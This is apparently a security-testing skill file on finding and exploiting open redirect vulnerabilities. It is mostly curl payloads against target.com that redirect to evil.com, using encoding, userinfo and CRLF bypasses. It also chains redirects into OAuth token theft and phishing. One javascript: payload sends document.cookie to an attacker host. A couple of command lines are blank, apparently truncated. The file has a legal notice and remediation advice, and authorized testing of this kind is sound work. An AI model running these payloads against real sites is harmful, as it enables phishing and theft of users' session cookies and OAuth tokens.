testing-for-open-redirect-vulnerabilities

Identifies and exploits open redirect vulnerabilities by analyzing URL redirection parameters (next, url, redirect, return, goto), applying bypass techniques, and chaining findings into phishing or token-theft exploits, using Burp Suite/OWASP ZAP and Burp Collaborator. Use when testing login/logout flows, OAuth redirect_uri handling, or SSO redirect validation.

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name	testing-for-open-redirect-vulnerabilities
description	Identifies and exploits open redirect vulnerabilities by analyzing URL redirection parameters (next, url, redirect, return, goto), applying bypass techniques, and chaining findings into phishing or token-theft exploits, using Burp Suite/OWASP ZAP and Burp Collaborator. Use when testing login/logout flows, OAuth redirect_uri handling, or SSO redirect validation.
domain	cybersecurity
subdomain	web-application-security
tags	["open-redirect","url-redirect","phishing","owasp","url-validation","redirect-bypass","unvalidated-redirect"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]
mitre_attack	["T1190","T1059.007","T1505.003","T1083","T1566"]

Testing for Open Redirect Vulnerabilities

When to Use

When testing login/logout flows that redirect users to specified URLs
During assessment of OAuth authorization endpoints with redirect_uri parameters
When auditing applications with URL parameters (next, url, redirect, return, goto, target)
During phishing simulation to chain open redirects with credential harvesting
When testing SSO implementations for redirect validation weaknesses

Prerequisites

Burp Suite or OWASP ZAP for intercepting redirect requests
Collection of open redirect bypass payloads
External domain or Burp Collaborator for redirect confirmation
Understanding of URL parsing and encoding schemes
Browser with developer tools for observing redirect chains
Knowledge of HTTP 301/302/303/307/308 redirect status codes

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Redirect Parameters

# Common redirect parameter names to test:
# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=
# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=

# Search for redirect parameters in the application
# Use Burp Suite to crawl and identify all parameters

# Test basic redirect
curl -v "http://target.com/login?next=https://evil.com"
curl -v "http://target.com/logout?redirect=https://evil.com"
curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"

Step 2 — Test Basic Open Redirect Payloads

# Direct external URL
curl -v "http://target.com/redirect?url=https://evil.com"

# Protocol-relative URL
curl -v "http://target.com/redirect?url=//evil.com"

# URL with @ symbol (userinfo abuse)
curl -v "http://target.com/redirect?url=https://target.com@evil.com"

# Backslash-based redirect
curl -v 


curl -v

# Subdomain confusion bypass
curl -v "http://target.com/redirect?url=https://target.com.evil.com"
curl -v "http://target.com/redirect?url=https://evil.com/target.com"

# URL encoding bypass
curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com"
curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"

# Double URL encoding
curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com"

# Mixed case protocol
curl -v "http://target.com/redirect?url=HtTpS://evil.com"

# CRLF injection in redirect
curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com"

# JavaScript protocol
curl -v "http://target.com/redirect?url=javascript:alert(document.domain)"

# Data URI
curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>"

# Relative path injection
curl -v "http://target.com/redirect?url=/\evil.com"
curl -v "http://target.com/redirect?url=/.evil.com"

# Path traversal with redirect
curl -v "http://target.com/redirect?url=/../../../evil.com"

# Fragment-based bypass
curl -v "http://target.com/redirect?url=https://evil.com#target.com"

# Parameter pollution for redirect
curl -v "http://target.com/redirect?url=https://target.com&url=https://evil.com"

# Chain with OAuth for token theft
# Step 1: Find open redirect on target.com
# Step 2: Use it as redirect_uri in OAuth flow
curl -v "http://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=http://target.com/redirect?url=https://evil.com&response_type=code"

# Chain with phishing
# Create convincing phishing page at evil.com
# Use open redirect: http://target.com/redirect?url=https://evil.com/login
# Victim sees target.com in the initial URL

# Chain with XSS via javascript: protocol
curl -v "http://target.com/redirect?url=javascript:fetch('https://evil.com/?c='+document.cookie)"

# Use OpenRedireX for automated testing
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ

# Use gf tool to extract redirect parameters from URLs
cat urls.txt | gf redirect | sort -u > redirect_params.txt

# Mass test with nuclei
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/open-redirect.yaml

# Test with ffuf
ffuf -w open-redirect-payloads.txt -u "http://target.com/redirect?url=FUZZ" -mr "Location: https://evil"

Concept	Description
Unvalidated Redirect	Application redirects to user-supplied URL without checking destination
URL Parsing Inconsistency	Different libraries parse URLs differently, enabling bypass
Protocol-Relative URL	Using // prefix to redirect while inheriting current protocol
Userinfo Abuse	Using @ symbol to make URL appear to belong to trusted domain
Open Redirect Chain	Combining multiple open redirects or chaining with other vulnerabilities
DOM-Based Redirect	Client-side JavaScript performing redirect using attacker-controlled input
Meta Refresh Redirect	HTML meta tag performing redirect without server-side 302

Tool	Purpose
OpenRedireX	Automated open redirect vulnerability testing tool
Burp Suite	HTTP proxy for intercepting and modifying redirect parameters
gf (tomnomnom)	Pattern matcher to extract redirect parameters from URL lists
nuclei	Template-based scanner with open redirect detection templates
ffuf	Fuzzer for mass-testing redirect parameter payloads
OWASP ZAP	Automated scanner with open redirect detection

## Open Redirect Assessment Report
- **Target**: http://target.com
- **Vulnerable Parameters Found**: 3
- **Bypass Techniques Required**: URL encoding, userinfo abuse

### Findings
| # | Endpoint | Parameter | Payload | Impact |
|---|----------|-----------|---------|--------|
| 1 | /login | next | //evil.com | Phishing |
| 2 | /oauth/authorize | redirect_uri | https://target.com@evil.com | Token Theft |
| 3 | /logout | return | https://evil.com%00.target.com | Session Redirect |

### Remediation
- Implement allowlist of permitted redirect destinations
- Validate redirect URLs server-side using strict URL parsing
- Reject any redirect URL containing external domains
- Use indirect reference maps instead of direct URL parameters